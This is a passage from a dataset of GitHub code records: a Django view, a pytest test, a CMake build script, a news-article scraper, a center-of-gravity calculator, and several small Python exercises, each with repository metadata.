= BeautifulSoup(content, 'html.parser')\n        # Delete header\n        for div in soup.find_all('div', {'id': 'headerContainer'}):\n            div.decompose()\n        # Delete edit links\n        for span in soup.find_all('span', {'class': 'mw-editsection'}):\n            span.decompose()\n        # Delete comments\n        main = soup.find('div', {'class': 'mw-parser-output'})\n        for element in main(string=lambda text: isinstance(text, Comment)):\n            element.extract()\n        return str(soup)\n\n    def normalize(self, page):\n        content = page['content']\n        content = self.fix_links(content)\n        content = self.fix_imgs(content)\n        content = self.clean_html(content)\n        page['content'] = content\n        return page\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('cmd', help='Command to run', choices=['list', 'fetch', 'update', 'slob', 'normalize'])\n    # parser.add_argument('fetch', help='Fetch articles')\n    # parser.add_argument('--latest', action='store_true', help='Fetch latest revision')\n    # parser.add_argument('update', help='Update pages')\n    parser.add_argument('--titles', '-t', help='List of titles separated by \"|\", or a file if started with \"@\"')\n    parser.add_argument('--outfile', '-o', help='Output file')\n    parser.add_argument('--infile', '-i', help='Input file')\n    parser.add_argument('--missing', '-m', action='store_true', help='Fetch missing only')\n    parser.add_argument('--normalize', '-n', action='store_true', help='Normalize content (remove comments, etc.)')\n    parser.add_argument('--start', '-s', default=0, type=int, help='Start from this index')\n    parser.add_argument('--limit', '-l', default=sys.maxsize, type=int, help='Process these many entries')\n    parser.add_argument('--timestamp', '-T', type=str, help='Timstamp')\n    parser.add_argument('--goldendict', '-g', action='store_true', help='Optimize for goldendict')\n    parser.add_argument('--no-progress', '-N', action='store_false', help='Don\\'t show progress')\n    args = parser.parse_args()\n\n    fetcher = Fetcher(out_file=args.outfile, in_file=args.infile, progress=args.no_progress)\n\n    if args.cmd == 'list':\n        fetcher.list_pages()\n    elif args.cmd == 'fetch':\n        fetcher.fetch(args.titles, missing=args.missing, normalize=args.normalize)\n    elif args.cmd == 'update':\n        # print('timestamp:', args.timestamp)\n        fetcher.update(limit=args.limit, start=args.start, timestamp=args.timestamp, normalize=args.normalize)\n    elif args.cmd == 'slob':\n        fetcher.write_slob(goldendict=args.goldendict)\n    elif args.cmd == 'normalize':\n        fetcher.normalize()\n    # elif args.latest:\n    #     fetcher = Fetcher()\n    #     fetcher.get_latest_revision(args.titles)\n","repo_name":"dcampos/eb1911","sub_path":"eb1911.py","file_name":"eb1911.py","file_ext":"py","file_size_in_byte":19236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"71587317689","text":"from django.shortcuts import render, redirect\nfrom django.views.generic import View, UpdateView, DeleteView\nfrom .forms import BrandForm\nfrom .models import Brand\nfrom django.contrib import messages\nfrom django.urls import reverse_lazy\n# Create your views here.\n\n\nclass BrandView(View):\n    template_name = 'brand/brand.html'\n    form_class = BrandForm\n    queryset = None\n\n    def get(self, request, *args, **kwargs):\n        self.queryset = Brand.objects.all()\n        return render(request, self.template_name, {'form': self.form_class, 'data_lists': self.queryset})\n\n    def post(self, request, *args, **kwargs):\n        form = self.form_class(request.POST)\n        if form.is_valid():\n            form.save()\n            messages.success(request, 'One Category added.')\n            return redirect('brand')\n        else:\n            messages.error(request, ' Data is not valid. Please try again.')\n            return redirect('brand')\n\nclass BrandUpdateView(UpdateView):\n    model = Brand\n    form_class = BrandForm\n\nclass BrandDeleteView(DeleteView):\n    model = Brand\n    success_url = '/brand'","repo_name":"chandanbcsm012/Point-Of-Sale-POS","sub_path":"brand/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19070173307","text":"import math\nimport vector\nimport parametrize_from_file\nfrom pytest import approx\nfrom voluptuous import Schema, Optional\nfrom parametrize_from_file.voluptuous import Namespace\n\nwith_math = Namespace().all(math)\nwith_vec = with_math.copy().all(vector)\n\n@parametrize_from_file(\n        schema=Schema({\n            'angle': with_math.eval,\n            Optional('unit', default='deg'): str,\n            Optional('magnitude', default='1'): with_math.eval,\n            'expected': with_vec.eval,\n        }),\n)\ndef test_from_angle(angle, unit, magnitude, expected):\n    actual = vector.from_angle(angle, unit=unit, magnitude=magnitude)\n\n    assert actual.x == approx(expected.x)\n    assert actual.y == approx(expected.y)\n","repo_name":"simrit1/parametrize_from_file","sub_path":"docs/optional_params/test_vector_schema.py","file_name":"test_vector_schema.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"71083235449","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\nfrom distutils.spawn import find_executable\n\nimport argparse\nimport contextlib\nimport codecs\nimport datetime\nimport distutils\nimport multiprocessing\nimport os\nimport platform\nimport re\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport distutils.util\nimport time\n\n############################################################\n# Helpers for printing output\nverbosity = 1\n\ndef Print(msg):\n    if verbosity > 0:\n        print(msg)\n\ndef PrintWarning(warning):\n    if verbosity > 0:\n        print(\"WARNING:\", warning)\n\ndef PrintStatus(status):\n    if verbosity >= 1:\n        print(\"STATUS:\", status)\n\ndef PrintInfo(info):\n    if verbosity >= 2:\n        print(\"INFO:\", info)\n\ndef PrintCommandOutput(output):\n    if verbosity >= 3:\n        sys.stdout.write(output)\n\ndef PrintError(error):\n    if verbosity >= 3 and sys.exc_info()[1] is not None:\n        import traceback\n        traceback.print_exc()\n    print(\"ERROR:\", error)\n\n############################################################\ndef Windows():\n    return platform.system() == \"Windows\"\n\ndef Linux():\n    return platform.system() == \"Linux\"\n\ndef MacOS():\n    return platform.system() == \"Darwin\"\n\ndef GetCommandOutput(command):\n    \"\"\"Executes the specified command and returns output or None.\"\"\"\n    try:\n        return subprocess.check_output(\n            shlex.split(command), stderr=subprocess.STDOUT).strip()\n    except subprocess.CalledProcessError:\n        pass\n    return None\n\ndef GetXcodeDeveloperDirectory():\n    \"\"\"Returns the active developer directory as reported by 'xcode-select -p'.\n    Returns None if none is set.\"\"\"\n    if not MacOS():\n        return None\n\n    return GetCommandOutput(\"xcode-select -p\")\n\ndef GetVisualStudioCompilerAndVersion():\n    \"\"\"Returns a tuple containing the path to the Visual Studio compiler\n    and a tuple for its version, e.g. (14, 0). If the compiler is not found\n    or version number cannot be determined, returns None.\"\"\"\n    if not Windows():\n        return None\n\n    msvcCompiler = find_executable('cl')\n    if msvcCompiler:\n        # VisualStudioVersion environment variable should be set by the\n        # Visual Studio Command Prompt.\n        match = re.search(\n            r\"(\\d+)\\.(\\d+)\",\n            os.environ.get(\"VisualStudioVersion\", \"\"))\n        if match:\n            return (msvcCompiler, tuple(int(v) for v in match.groups()))\n    return None\n\ndef IsVisualStudio2019OrGreater():\n    VISUAL_STUDIO_2019_VERSION = (16, 0)\n    msvcCompilerAndVersion = GetVisualStudioCompilerAndVersion()\n    if msvcCompilerAndVersion:\n        _, version = msvcCompilerAndVersion\n        return version >= VISUAL_STUDIO_2019_VERSION\n    return False\n\ndef GetCPUCount():\n    try:\n        return multiprocessing.cpu_count()\n    except NotImplementedError:\n        return 1\n\ndef Run(context, cmd):\n    \"\"\"Run the specified command in a subprocess.\"\"\"\n    PrintInfo('Running \"{cmd}\"'.format(cmd=cmd))\n\n    with codecs.open(context.logFileLocation, \"a\", \"utf-8\") as logfile:\n        logfile.write(\"#####################################################################################\" + \"\\n\")\n        logfile.write(\"log date: \" + datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\") + \"\\n\")\n        logfile.write(\"#####################################################################################\" + \"\\n\")\n        logfile.write(\"\\n\")\n        logfile.write(cmd)\n        logfile.write(\"\\n\")\n\n        # Let exceptions escape from subprocess calls -- higher level\n        # code will handle them.\n        if context.redirectOutstreamFile:\n            p = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,\n                                 stderr=subprocess.STDOUT)\n            encoding = sys.stdout.encoding or \"UTF-8\"\n            while True:\n                l = p.stdout.readline().decode(encoding)\n                if l != \"\":\n                    # Avoid \"UnicodeEncodeError: 'ascii' codec can't encode \n                    # character\" errors by serializing utf8 byte strings.\n                    logfile.write(l)\n                    PrintCommandOutput(l)\n                elif p.poll() is not None:\n                    break\n        else:\n            p = subprocess.Popen(shlex.split(cmd))\n            p.wait()\n\n    if p.returncode != 0:\n        # If verbosity >= 3, we'll have already been printing out command output\n        # so no reason to print the log file again.\n        if verbosity < 3:\n            with open(context.logFileLocation, \"r\") as logfile:\n                Print(logfile.read())\n        raise RuntimeError(\"Failed to run '{cmd}'\\nSee {log} for more details.\"\n                           .format(cmd=cmd, log=os.path.abspath(context.logFileLocation)))\n\ndef BuildVariant(context): \n    if context.buildDebug:\n        return \"Debug\"\n    elif context.buildRelease:\n        return \"Release\"\n    elif context.buildRelWithDebug:\n        return \"RelWithDebInfo\"\n    return \"RelWithDebInfo\"\n\ndef FormatMultiProcs(numJobs, generator):\n    tag = \"-j\"\n    if generator:\n        if \"Visual Studio\" in generator:\n            tag = \"/M:\"\n        elif \"Xcode\" in generator:\n            tag = \"-j \"\n\n    return \"{tag}{procs}\".format(tag=tag, procs=numJobs)\n\ndef onerror(func, path, exc_info):\n    \"\"\"\n    If the error is due to an access error (read only file)\n    add write permission and then retries.\n    If the error is for another reason it re-raises the error.\n    \"\"\"\n    import stat\n    if not os.access(path, os.W_OK):\n        os.chmod(path, stat.S_IWUSR)\n        func(path)\n    else:\n        raise\n\ndef StartBuild():\n    global start_time\n    start_time = time.time()\n\ndef StopBuild():\n    end_time = time.time()\n    elapsed_seconds = end_time - start_time\n    hours, remainder = divmod(elapsed_seconds, 3600)\n    minutes, seconds = divmod(remainder, 60)\n    print(\"Elapsed time: {:02}:{:02}:{:02}\".format(int(hours), int(minutes), int(seconds)))\n\n############################################################\n# contextmanager\n@contextlib.contextmanager\ndef CurrentWorkingDirectory(dir):\n    \"\"\"Context manager that sets the current working directory to the given\n    directory and resets it to the original directory when closed.\"\"\"\n    curdir = os.getcwd()\n    os.chdir(dir)\n    try:\n        yield\n    finally:\n        os.chdir(curdir)\n\n############################################################\n# CMAKE\ndef RunCMake(context, extraArgs=None, stages=None):\n    \"\"\"Invoke CMake to configure, build, and install a library whose \n    source code is located in the current working directory.\"\"\"\n\n    srcDir = os.getcwd()\n    instDir = context.instDir\n    buildDir = context.buildDir\n\n    if 'clean' in stages and os.path.isdir(buildDir):\n        shutil.rmtree(buildDir, onerror=onerror)\n\n    if 'clean' in stages and os.path.isdir(instDir):\n        shutil.rmtree(instDir)\n\n    if not os.path.isdir(buildDir):\n        os.makedirs(buildDir)\n\n    generator = context.cmakeGenerator\n\n    if generator is None and Windows():\n        if IsVisualStudio2019OrGreater():\n            generator = \"Visual Studio 16 2019\"\n        else:\n            generator = \"Visual Studio 15 2017 Win64\"\n\n    if generator is not None:\n        generator = '-G \"{gen}\"'.format(gen=generator)\n\n    if IsVisualStudio2019OrGreater():\n            generator = generator + \" -A x64\"\n            \n    # get build variant \n    variant= BuildVariant(context)\n\n    with CurrentWorkingDirectory(buildDir):\n        # recreate build_log.txt everytime the script runs\n        if os.path.isfile(context.logFileLocation):\n            os.remove(context.logFileLocation)\n\n        if 'configure' in stages:\n            Run(context,\n                'cmake '\n                '-DCMAKE_INSTALL_PREFIX=\"{instDir}\" '\n                '-DCMAKE_BUILD_TYPE={variant} '\n                '-DCMAKE_EXPORT_COMPILE_COMMANDS=ON '\n                '{generator} '\n                '{extraArgs} '\n                '\"{srcDir}\"'\n                .format(instDir=instDir,\n                        variant=variant,\n                        srcDir=srcDir,\n                        generator=(generator or \"\"),\n                        extraArgs=(\" \".join(extraArgs) if extraArgs else \"\")))\n \n        installArg = \"\"\n        if 'install' in stages:\n            installArg = \"--target install\"\n\n        if 'build' in stages or 'install' in stages:\n            Run(context, \"cmake --build . --config {variant} {installArg} -- {multiproc}\"\n                .format(variant=variant,\n                        installArg=installArg,\n                        multiproc=FormatMultiProcs(context.numJobs, generator)))\n\ndef RunCTest(context, extraArgs=None):\n    buildDir = context.buildDir\n    variant = BuildVariant(context)\n\n    with CurrentWorkingDirectory(buildDir):\n        Run(context,\n            'ctest '\n            '--output-on-failure ' \n            '--timeout 500 '\n            '-C {variant} '\n            '{extraArgs} '\n            .format(variant=variant,\n                    extraArgs=(\" \".join(extraArgs) if extraArgs else \"\")))\n\ndef RunMakeZipArchive(context):\n    installDir = context.instDir\n    buildDir = context.buildDir\n    pkgDir = context.pkgDir\n    variant = BuildVariant(context)\n\n    # extract version from M3MF_version.info\n    M3MFVerion = [] \n    cmakeInfoDir = os.path.join(context.M3MFSrcDir)\n    filename = os.path.join(cmakeInfoDir, 'M3MF_version.info')\n    with open(filename, 'r') as filehandle:\n        content = filehandle.readlines()\n        for current_line in content:\n            digitList = re.findall(r'\\d+', current_line)\n            versionStr = ''.join(str(e) for e in digitList)\n            M3MFVerion.append(versionStr)\n\n    majorVersion = M3MFVerion[0]\n    minorVersion = M3MFVerion[1]\n    patchLevel   = M3MFVerion[2]  \n\n    pkgName = 'M3MF' + '-' + majorVersion + '.' + minorVersion + '.' + patchLevel + '-' + (platform.system()) + '-' + variant\n    with CurrentWorkingDirectory(buildDir):\n        shutil.make_archive(pkgName, 'zip', installDir)\n\n        # copy zip file to package directory\n        if not os.path.exists(pkgDir):\n            os.makedirs(pkgDir)\n\n        for file in os.listdir(buildDir):\n            if file.endswith(\".zip\"):\n                zipFile = os.path.join(buildDir, file)\n                try:\n                    shutil.copy(zipFile, pkgDir)\n                except Exception as exp:\n                    PrintError(\"Failed to write to directory {pkgDir} : {exp}\".format(pkgDir=pkgDir,exp=exp))\n                    sys.exit(1)\n\ndef BuildAndInstall(context, buildArgs, stages):\n    with CurrentWorkingDirectory(context.M3MFSrcDir):\n        extraArgs = []\n        stagesArgs = []\n\n        if context.maxSdkLocation:\n            extraArgs.append('-DMAXSDK_LOCATION=\"{maxSdkLocation}\"'\n                             .format(maxSdkLocation=context.maxSdkLocation))\n\n        if context.mayaLocation:\n            extraArgs.append('-DMAYA_LOCATION=\"{mayaLocation}\"'\n                             .format(mayaLocation=context.mayaLocation))\n\n        extraArgs += buildArgs\n        stagesArgs += stages\n\n        RunCMake(context, extraArgs, stagesArgs)\n\n        # Ensure directory structure is created and is writable.\n        for dir in [context.workspaceDir, context.buildDir, context.instDir]:\n            try:\n                if os.path.isdir(dir):\n                    testFile = os.path.join(dir, \"canwrite\")\n                    open(testFile, \"w\").close()\n                    os.remove(testFile)\n                else:\n                    os.makedirs(dir)\n            except Exception as e:\n                PrintError(\"Could not write to directory {dir}. Change permissions \"\n                           \"or choose a different location to install to.\"\n                           .format(dir=dir))\n                sys.exit(1)\n        Print(\"\"\"Success M3MF build and install !!!!\"\"\")\n\ndef RunTests(context,extraArgs):\n    RunCTest(context,extraArgs)\n    Print(\"\"\"Success running M3MF tests !!!!\"\"\")\n\ndef Package(context):\n    RunMakeZipArchive(context)\n    Print(\"\"\"Success packaging M3MF !!!!\"\"\")\n    Print('Archived package is available in {pkgDir}'.format(pkgDir=context.pkgDir))\n\n############################################################\n# ArgumentParser\nparser = argparse.ArgumentParser(\n    formatter_class=argparse.RawDescriptionHelpFormatter)\n\nparser.add_argument(\"workspace_location\", type=str,\n                    help=\"Directory where the project use as a workspace to build and install plugin/libraries.\")\n\nparser.add_argument(\"--generator\", type=str,\n                    help=(\"CMake generator to use when building libraries with \"\n                          \"cmake\"))\n\nparser.add_argument(\"-v\", \"--verbosity\", type=int, default=verbosity,\n                    help=(\"How much output to print while building: 0 = no \"\n                          \"output; 1 = warnings + status; 2 = info; 3 = \"\n                          \"command output and tracebacks (default: \"\n                          \"%(default)s)\"))\n\nparser.add_argument(\"--build-location\", type=str,\n                    help=(\"Set Build directory \"\n                          \"(default: <workspace_location>/build-location)\"))\n\nparser.add_argument(\"--install-location\", type=str,\n                    help=(\"Set Install directory \"\n                          \"(default: <workspace_location>/install-location)\"))\n\nparser.add_argument(\"--maxsdk-location\", type=str,\n                    help=\"Directory where 3DSMax SDK is installed.\")\n\nparser.add_argument(\"--maya-location\", type=str,\n                    help=\"Directory where Maya is installed.\")\n\nvarGroup = parser.add_mutually_exclusive_group()\nvarGroup.add_argument(\"--build-debug\", dest=\"build_debug\", action=\"store_true\",\n                    help=\"Build in Debug mode (default: %(default)s)\")\n\nvarGroup.add_argument(\"--build-release\", dest=\"build_release\", action=\"store_true\",\n                    help=\"Build in Release mode (default: %(default)s)\")\n\nvarGroup.add_argument(\"--build-relwithdebug\", dest=\"build_relwithdebug\", action=\"store_true\", default=True,\n                    help=\"Build in RelWithDebInfo mode (default: %(default)s)\")\n\nparser.add_argument(\"--build-args\", type=str, nargs=\"*\", default=[],\n                   help=(\"Comma-separated list of arguments passed into CMake when building libraries\"))\n\nparser.add_argument(\"--ctest-args\", type=str, nargs=\"*\", default=[],\n                   help=(\"Comma-separated list of arguments passed into CTest.(e.g -VV, --output-on-failure)\"))\n\nparser.add_argument(\"--stages\", type=str, nargs=\"*\", default=['clean','configure','build','install'],\n                   help=(\"Comma-separated list of stages to execute.(possible stages: clean, configure, build, install, test, package)\"))\n\nparser.add_argument(\"-j\", \"--jobs\", type=int, default=GetCPUCount(),\n                    help=(\"Number of build jobs to run in parallel. \"\n                          \"(default: # of processors [{0}])\"\n                          .format(GetCPUCount())))\n\nparser.add_argument(\"--redirect-outstream-file\", type=distutils.util.strtobool, dest=\"redirect_outstream_file\", default=True,\n                    help=\"Redirect output stream to a file. Set this flag to false to redirect output stream to console instead.\")\n\nargs = parser.parse_args()\nverbosity = args.verbosity\n\n############################################################\n# InstallContext\nclass InstallContext:\n    def __init__(self, args):\n\n        # Assume the project's top level cmake is in the current source directory\n        self.M3MFSrcDir = os.path.normpath(\n            os.path.join(os.path.abspath(os.path.dirname(__file__))))\n\n        # Build type\n        # Must be done early, so we can call BuildVariant(self)\n        self.buildDebug = args.build_debug\n        self.buildRelease = args.build_release\n        self.buildRelWithDebug = args.build_relwithdebug\n\n        # Workspace directory \n        self.workspaceDir = os.path.abspath(args.workspace_location)\n\n        # Build directory\n        self.buildDir = (os.path.abspath(args.build_location) if args.build_location\n                         else os.path.join(self.workspaceDir, \"build\", BuildVariant(self)))\n\n        # Install directory\n        self.instDir = (os.path.abspath(args.install_location) if args.install_location\n                         else os.path.join(self.workspaceDir, \"install\", BuildVariant(self)))\n\n        # Package directory\n        self.pkgDir = (os.path.join(self.workspaceDir, \"package\", BuildVariant(self)))\n\n        # CMake generator\n        self.cmakeGenerator = args.generator\n\n        # Number of jobs\n        self.numJobs = args.jobs\n        if self.numJobs <= 0:\n            raise ValueError(\"Number of jobs must be greater than 0\")\n\n        # 3DSMax SDK Location\n        self.maxSdkLocation = (os.path.abspath(args.maxsdk_location)\n                                if args.maxsdk_location else None)\n\n        # Maya Location\n        self.mayaLocation = (os.path.abspath(args.maya_location)\n                                if args.maya_location else None)\n\n        # Log File Name\n        logFileName=\"build_log.txt\"\n        self.logFileLocation=os.path.join(self.buildDir, logFileName)\n\n        # Build arguments\n        self.buildArgs = list()\n        for argList in args.build_args:\n            for arg in argList.split(\",\"):\n                self.buildArgs.append(arg)\n\n        # Stages arguments\n        self.stagesArgs = list()\n        for argList in args.stages:\n            for arg in argList.split(\",\"):\n                self.stagesArgs.append(arg)\n\n        # CTest arguments\n        self.ctestArgs = list()\n        for argList in args.ctest_args:\n            for arg in argList.split(\",\"):\n                self.ctestArgs.append(arg)\n\n        # Redirect output stream to file\n        self.redirectOutstreamFile = args.redirect_outstream_file\ntry:\n    context = InstallContext(args)\nexcept Exception as e:\n    PrintError(str(e))\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    # Summarize\n    summaryMsg = \"\"\"\n    Building with settings:\n      Source directory          {M3MFSrcDir}\n      Workspace directory       {workspaceDir}\n      Build directory           {buildDir}\n      Install directory         {instDir}\n      Variant                   {buildVariant}\n      CMake generator           {cmakeGenerator}\"\"\"\n\n    if context.redirectOutstreamFile:\n      summaryMsg += \"\"\"\n      Build Log                 {logFileLocation}\"\"\"\n\n    if context.buildArgs:\n      summaryMsg += \"\"\"\n      Build arguments           {buildArgs}\"\"\"\n\n    if context.stagesArgs:\n      summaryMsg += \"\"\"\n      Stages arguments          {stagesArgs}\"\"\"\n\n    if context.ctestArgs:\n      summaryMsg += \"\"\"\n      CTest arguments           {ctestArgs}\"\"\"\n\n    summaryMsg = summaryMsg.format(\n        M3MFSrcDir=context.M3MFSrcDir,\n        workspaceDir=context.workspaceDir,\n        buildDir=context.buildDir,\n        instDir=context.instDir,\n        logFileLocation=context.logFileLocation,\n        buildArgs=context.buildArgs,\n        stagesArgs=context.stagesArgs,\n        ctestArgs=context.ctestArgs,\n        buildVariant=BuildVariant(context),\n        cmakeGenerator=(\"Default\" if not context.cmakeGenerator\n                        else context.cmakeGenerator)\n    )\n\n    Print(summaryMsg)\n\n    # BuildAndInstall\n    if any(stage in ['clean', 'configure', 'build', 'install'] for stage in context.stagesArgs):\n        StartBuild()\n        BuildAndInstall(context, context.buildArgs, context.stagesArgs)\n        StopBuild()\n\n    # Run Tests\n    if 'test' in context.stagesArgs:\n        RunTests(context, context.ctestArgs)\n\n    # Package\n    if 'package' in context.stagesArgs:\n        Package(context)\n","repo_name":"hamedsabri/M3MF","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":19656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"74654883129","text":"# 04.09.2023\r\n# Задача: поменять местами минимальный элемент в каждой строке квадратной матрицы с элементом, лежащим на главной диагонали\r\n# Вывести матрицу, справа каждой строки количество нулей в строке\r\n\r\nn = int(input())\r\nmatrix = [list(map(int, input().split())) for _ in range(n)]\r\n\r\nfor c, row in enumerate(matrix):\r\n    _min = min(row)\r\n    ind = row.index(_min)\r\n    row[ind], matrix[n - ind - 1][n - c - 1] = matrix[n - ind - 1][n - c - 1], row[ind]\r\n\r\nprint()\r\nprint(*[\" \".join(map(str, a + [a.count(0)])) for a in matrix], sep=\"\\n\")\r\n","repo_name":"Nikdevelop/BMSTU","sub_path":"enterance_test.py","file_name":"enterance_test.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"6372173573","text":"class Solution:\n    def topKFrequent(self, words: List[str], k: int) -> List[str]:\n        hashMap=defaultdict(int)\n        #sort first\n        words.sort()\n        #add word to map\n        for i in words:\n            hashMap[i]+=1\n        myArr=[]\n        #for max needed\n        for j in range(k):\n            #get max from map\n            maxima=max(hashMap,key=hashMap.get)\n            #delete max\n            del hashMap[maxima]\n            #add to array\n            myArr.append(maxima)\n        \n        return myArr\n            \n        ","repo_name":"Trojan9/Data_Structures_And_Algorithm","sub_path":"bloomberg/top-k-frequent-words.py","file_name":"top-k-frequent-words.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27103828717","text":"from sys import argv, exit\n\ndef center_of_gravity_1D(points):\n    moments = []\n    for point in points:\n        moments.append(point[0]*point[1])\n    moment_sum = sum(moments)\n    weight_sum = sum([w for d,w in points])\n    cg = moment_sum / weight_sum\n    return cg\n\ndef center_of_gravity_3D(points):\n    x_cg = center_of_gravity_1D([(x,w) for (x,y,z),w in points])\n    y_cg = center_of_gravity_1D([(y,w) for (x,y,z),w in points])\n    z_cg = center_of_gravity_1D([(z,w) for (x,y,z),w in points])\n    return x_cg, y_cg, z_cg\n\ndef adjust_cg_with_obj_1D(curr_cg, curr_w, new_obj_w, desired_cg, desired_w):\n    curr_m = curr_cg * curr_w\n    want_m = (curr_w + new_obj_w) * desired_cg\n    return (want_m - curr_m) / new_obj_w\n\ndef adjust_cg_with_obj_3D(curr_cg, curr_w, new_obj_w, desired_cg):\n    desired_w = curr_w + new_obj_w\n    x = adjust_cg_with_obj_1D(curr_cg[0], curr_w, new_obj_w, desired_cg[0], desired_w)\n    y = adjust_cg_with_obj_1D(curr_cg[1], curr_w, new_obj_w, desired_cg[1], desired_w)\n    z = adjust_cg_with_obj_1D(curr_cg[2], curr_w, new_obj_w, desired_cg[2], desired_w)\n    return x, y, z\n\ncg_points = ()\ncg_val = ()\ntotal_weight = 0\n\ndef load_csv_file(file_name):\n    with open(file_name) as f:\n        lines = f.readlines()[1:]\n        points = []\n        total_w = 0\n        for line in lines:\n            values = line.strip().split(',')[1:]\n            x = float(values[0])\n            y = float(values[1])\n            z = float(values[2])\n            w = float(values[3])\n            total_w += w\n            points.append( ((x,y,z), w) )\n        global cg_points\n        cg_points = points\n        global total_weight\n        total_weight = total_w\n\nfrom cmd import Cmd\nfrom os import path\nfrom glob import glob\n\n#Changes delims to allow file autocomplete\nimport readline\nreadline.set_completer_delims(' \\t\\n')\n\ndef complete_path(filename):\n    if path.isdir(filename):\n        return glob(path.join(filename, '*'))\n    else:\n        return glob(filename+'*')\n\nclass Cli(Cmd):\n    def do_load(self, line):\n       try:\n           load_csv_file(line)\n           global cg_val\n           cg_val = center_of_gravity_3D(cg_points)\n       except Exception as e:\n            print(e)\n\n    def do_cg(self, line):\n        print(cg_val)\n\n    def do_adjust_cg_with_obj(self, line):\n        params = line.split()\n        if len(params) != 4:\n            print('4 parmaters needed: [new_object weight] [desired cg_x] [desired cg_y] [desired cg_z]')\n            return\n        obj_w = float(params[0])\n        new_cg = tuple(float(i) for i in params[1:])\n        obj_pos = adjust_cg_with_obj_3D(cg_val, total_weight, obj_w, new_cg)\n        print(\"The object should be placed at: \" + str(obj_pos) + \" to have a cg of \" + str(new_cg))\n\n    def complete_load(self, text, line, begidx, endidx):\n        return complete_path(text)\n\n    def do_exit(self, line):\n        return True\n\n    def do_quit(self, line):\n        return True\n\ncli = Cli()\ncli.prompt = '(cg-tool) '\ncli.cmdloop()\n","repo_name":"KerlinMichel/AeroTools","sub_path":"src/cg/cg.py","file_name":"cg.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16162589902","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nfrom datetime import datetime, timedelta\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.preprocessing import OneHotEncoder\nfrom fabulous.color import highlight_green\n\ndef get_links():\n        url = \"https://in.mashable.com/\"\n        res = requests.get(url)\n\n        data = res.text\n\n        soup = BeautifulSoup(data, 'html.parser')\n\n        links = set()\n        for link in soup.findAll('a', attrs={'href': re.compile(\"^https://in.mashable.com/tech|https://in.mashable.com/e\")}):\n                links.add(link.get('href'))\n        \n        print(highlight_green(\"\\nRetrieved {} links.\".format(len(links))))\n\n        print(highlight_green(\"\\nArticles fetched:\\n\\n\"))\n\n        i = 1\n        for key in links:\n                print('{}.'.format(i), end = '    ')\n                print(key)\n                i+=1\n        # print('{}.'.format(key+1), end = '    ')\n        # print(value)\n        return list(links)\n\n\n\n\ndef parse_page_data(links):\n        page_data = []\n\n        encoder = ColumnTransformer(\n                [('days', OneHotEncoder(categories=[[0,1,2,3,4,5,6]]), [7])],\n                remainder='passthrough')\n                \n        for link in links:\n                res = requests.get(link)\n\n                data2 = res.text\n                soup = BeautifulSoup(data2, 'html.parser')\n\n                img_count = 0.0\n                vid_count = 0.0\n\n\n                for img in soup.findAll('img', attrs={'itemprop': re.compile(\"contentUrl\")}):\n                        img_count+=1.0\n                \n                for div in soup.findAll('div', attrs={'class':\"vplayer\"}):\n                        vid_count += 1.0\n\n                # print(vid_count)\n\n                post_date = soup.find('time')\n                weekday = datetime.strptime(post_date['datetime'].split('T')[0],\"%Y-%m-%d\").weekday()\n                # monday = 0 sunday = 6\n\n                channel = link.split('/')[3]\n\n                title = soup.find('h1',attrs={'id': \"id_title\"}).text\n\n                num_words_title = len(title.strip().split())\n                num_words_text = len(soup.get_text().strip().split())\n                if channel == \"tech\":\n                        data = [0.0, num_words_title, num_words_text, img_count, vid_count, 0.0, 1.0, weekday]\n                elif channel == \"entertainment\":\n                        data = [0.0, num_words_title, num_words_text, img_count, vid_count, 1.0, 0.0, weekday]\n                else:\n                        data = [0.0, num_words_title, num_words_text, img_count, vid_count, 0.0, 0.0, weekday]\n\n                if data[-1]==6 or data[-1]==5 :\n                        data[0] = 1.0\n                \n                page_data.append(data)\n        encoded = encoder.fit_transform(page_data)\n\n        # print(links[0]) \n        # print(page_data[0])\n        # print(encoded[0])\n        print(highlight_green(\"\\nData preprocessing done.\"))\n        return encoded\n\n\n\n# if __name__ == \"main\"\":\n#         links = get_links()\n#         p = parse_page_data(links)","repo_name":"singhularAdi/News-Popularity-Prediction","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29365239139","text":"#Descomponer un número\nnumero=int(input(\"Ingrese un numero de 4 unidades: \"))\ndigito1=int(numero/1000)\nx=int(numero/100)\ndigito2=x % 10\ny=numero % 100\ndigito3=int(y/10)\ndigito4=y % 10\n\nprint(digito1,\"M +\", digito2,\"C +\", digito3,\"D +\", digito4,\"U\")","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej8/hito1_ej8_26d0227ae489f80bb65754436e84663e.py","file_name":"hito1_ej8_26d0227ae489f80bb65754436e84663e.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
